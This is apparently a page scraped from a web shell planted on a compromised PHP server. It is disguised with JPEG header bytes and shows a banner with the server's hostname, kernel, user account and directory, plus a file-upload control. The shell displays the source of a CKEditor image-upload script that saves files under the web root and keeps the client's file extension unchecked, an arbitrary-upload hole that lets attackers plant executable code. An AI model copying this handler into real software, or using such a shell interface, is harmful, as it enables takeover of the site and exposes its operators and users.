ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/js/ |
Upload File : |
<?php /* * 파일 업로드 * * ckeditor v4.9 이미지 업로드용 * 이미지명 강제변경 */ /*$arr = array('uploaded'=>1,'fileName'=>'aaa.jpg','url'=>'url'); echo json_encode($arr); exit;*/ //include $_SERVER['DOCUMENT_ROOT'].'/js/ckfinder/core/connector/php/php5/CommandHandler/FileUpload.php'; $savedir = $_SERVER['DOCUMENT_ROOT']."/data/ckeditor/images/"; $upload_url = "/data/ckeditor/images/"; if($_FILES['upload']['size']>0){ $FileNM = $_FILES['upload']['name']; $sFileNM = getUniqueFileName($FileNM); // 동일 파일이 있는지 체크를 위해 파일명과 확장자를 가져옴 (20090917 ) $f = explode(".", $sFileNM); $ext = strtolower(array_pop($f)); $f_name = implode(".", $f); // 동일 파일이 있는지 체크 $r = 1; while (file_exists($savedir."/".$sFileNM)) { $sFileNM = $f_name . "(" . $r++ . ")." . $ext; } // 파일 업로드 처리 move_uploaded_file($_FILES['upload']['tmp_name'], $savedir."/".$sFileNM); //echo "<script>window.parent.CKEDITOR.tools.callFunction({1}, '".$upload_url.$sFileNM."');</script>"; //echo "<script type='text/javascript'>window.parent.CKEDITOR.tools.callFunction({$CKEditorFuncNum}, '".$upload_url.$sFileNM."');</script>"; $arr = array('uploaded'=>1,'fileName'=>$sFileNM,'url'=>$upload_url.$sFileNM); echo json_encode($arr); } function getUniqueFileName($filename, $prefix="") { if (!$filename) return ""; // 임의의 문자열 생성 $time = date("Ymd"); // 년월일 $unique = strtoupper(substr(md5(uniqid(time())), 0, 16)); // 유니크 16자리 // 파일명에서 확장자 가져옴 $file = explode(".", $filename); $ext = @array_pop($file); // 확장자 $ext = strtolower($ext); // 확장자를 소문자로 변환 $new_filename = $prefix . $time . "_" . $unique . "." . $ext; return $new_filename; } ?>